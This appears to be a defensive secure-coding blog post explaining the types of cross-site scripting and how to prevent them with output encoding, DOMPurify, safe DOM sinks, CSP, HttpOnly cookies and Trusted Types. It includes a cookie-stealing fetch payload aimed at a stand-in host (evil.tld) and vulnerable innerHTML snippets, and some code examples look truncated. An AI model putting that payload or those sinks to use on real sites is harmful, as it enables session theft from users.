How to Prevent XSS (Cross-Site Scripting)

Cross-site scripting is still on nearly every appsec top-ten list, and the reason is boring: attacker-controlled data ends up in a page as executable markup instead of inert text. Fix that one thing correctly and most XSS disappears. This post walks through the three flavors of XSS, the root fix, and the defense-in-depth layers you stack on top.

The three types of XSS #

Stored XSS: The payload is saved server-side and served to every visitor. Classic case is a comment field. A user submits fetch('https://evil.tld/c?'+document.cookie) as their comment, your app writes it to the database, and every reader who loads the thread runs it. This is the worst kind because it needs no social engineering.

Reflected XSS: The payload rides in the request and bounces straight back into the response. A search page that renders You searched for: <the query> without encoding lets an attacker craft https://app.tld/search?q= ... and send it to a victim. The server reflects the query into HTML and the browser executes it.

DOM-based XSS: The vulnerability never touches the server. Client-side JavaScript reads untrusted input and writes it into a dangerous sink. For example:

javascript.javascript

// Reads location.hash and drops it straight into the DOM.
document.getElementById('welcome').innerHTML =
'Hi ' + decodeURIComponent(location.hash.slice(1));
// URL: https://app.tld/#

The server sends clean HTML; the browser assembles the exploit locally. Your WAF and server-side filters never see it.

The root fix: contextual output encoding #

XSS is an output problem, not an input problem. The durable fix is encoding data for the exact context it lands in, at the moment you render it. The same string is safe in one context and dangerous in another, so "escape on input" fails. You need context awareness:

HTML body: encode < > & " ' to entities. < becomes &lt;.

HTML attribute: encode the same set and always quote the attribute. An unquoted attribute value can break out with a space.

JavaScript: if you must inject data into a script block, use a JSON serializer, not string concatenation. Hex-encode non-alphanumerics.

URL: percent-encode with encodeURIComponent, and reject javascript: and data: schemes in href and src.

Encoding for the wrong context is a real bug. HTML-encoding a value that lands inside a block does nothing useful, because the JavaScript parser does not decode HTML entities.

Why frameworks auto-escape, and where the holes are #

Modern frameworks default to HTML-body encoding on interpolation, which is why greenfield React and Vue apps rarely have basic XSS. In React, {userInput} is escaped. In Vue, {{ userInput }} is escaped. Angular treats interpolated values as untrusted by default.

The problem is the escape hatches. Every framework ships a way to render raw HTML, and every one of them reintroduces XSS if you hand it untrusted data:

React: dangerouslySetInnerHTML

Vue: v-html

Angular: [innerHTML] with bypassed sanitization

Raw DOM: innerHTML, outerHTML, document.write, insertAdjacentHTML

The dangerously prefix is a deliberate warning. Treat any grep hit on these as a code review flag.

Sanitizing HTML you actually have to render #

Sometimes you genuinely need to render user-authored HTML, such as rich-text comments or markdown output. You cannot encode it, because encoding would show the tags as literal text. Instead, sanitize it against an allowlist. Use a maintained library like DOMPurify. Do not write your own regex sanitizer; you will lose to and mutation-based bypasses.

Here is the vulnerable React version next to the fixed one:

jsx.jsx

// VULNERABLE: renders attacker HTML verbatim.
function Comment({ body }) {
return ;
}

// FIXED: sanitize against an allowlist before rendering.
import DOMPurify from 'dompurify';

function Comment({ body }) {
const clean = DOMPurify.sanitize(body, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href'],
});
return ;
}

The fix keeps the rich-text feature while stripping scripts, event handlers, and dangerous URL schemes. Configure the allowlist to the smallest set your feature needs.

Avoiding DOM-XSS sinks #

DOM-based XSS is prevented by choosing safe sinks. The core rule: when you are inserting text, use a text API, not an HTML API.

javascript.javascript

// VULNERABLE: string becomes markup, onerror fires.
const name = decodeURIComponent(location.hash.slice(1));
el.innerHTML = 'Hi ' + name;

// FIXED: textContent never parses HTML.
el.textContent = 'Hi ' + name;

// If you need structured nodes, build them explicitly.
const strong = document.createElement('strong');
strong.textContent = name; // still inert
el.append('Hi ', strong);

Keep eval, new Function, document.write, and setTimeout('string') out of the codebase entirely. They turn strings into code and have no place in application logic. A lint rule that bans these sinks is cheap insurance.

Content-Security-Policy: defense in depth #

Encoding is the fix; CSP is the seatbelt for the bug you missed. A strict policy tells the browser which scripts may run, so an injected is refused even when it slips into the DOM. Prefer a nonce or hash-based policy over host allowlists:

code

Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0m';
object-src 'none';
base-uri 'none';

Every legitimate inline script carries the matching nonce attribute; anything the attacker injects lacks it and is blocked. Avoid 'unsafe-inline' and 'unsafe-eval', which defeat the point. There is more nuance on rollout and reporting in the HTTP security headers guide.

HttpOnly cookies and Trusted Types #

Two more layers reduce the blast radius:

HttpOnly cookies: Mark session cookies HttpOnly so document.cookie cannot read them. If an XSS still fires, the attacker cannot exfiltrate the session token through JavaScript. Pair it with Secure and SameSite.

code

Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/

Trusted Types: A browser feature that makes DOM-XSS sinks refuse plain strings. With require-trusted-types-for 'script' set, assigning a raw string to innerHTML throws unless it passed through a policy you defined. It moves sink safety from "remember to be careful" to "the platform enforces it," and it pairs naturally with DOMPurify, which can emit TrustedHTML directly.

code

Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default dompurify;

The call we'd make #

Encode output for its context and let your framework do it by default; that removes the overwhelming majority of XSS. When you must render user HTML, sanitize it with DOMPurify against a tight allowlist, never a hand-rolled filter. Ban the DOM-XSS sinks with a lint rule so they never reach review. Then layer defense in depth: a strict nonce-based CSP, HttpOnly session cookies, and Trusted Types where the browser support fits your users. None of these layers is optional in a serious app, because each one catches the failure of the layer above it. For where XSS fits in the broader program, see our application security best practices.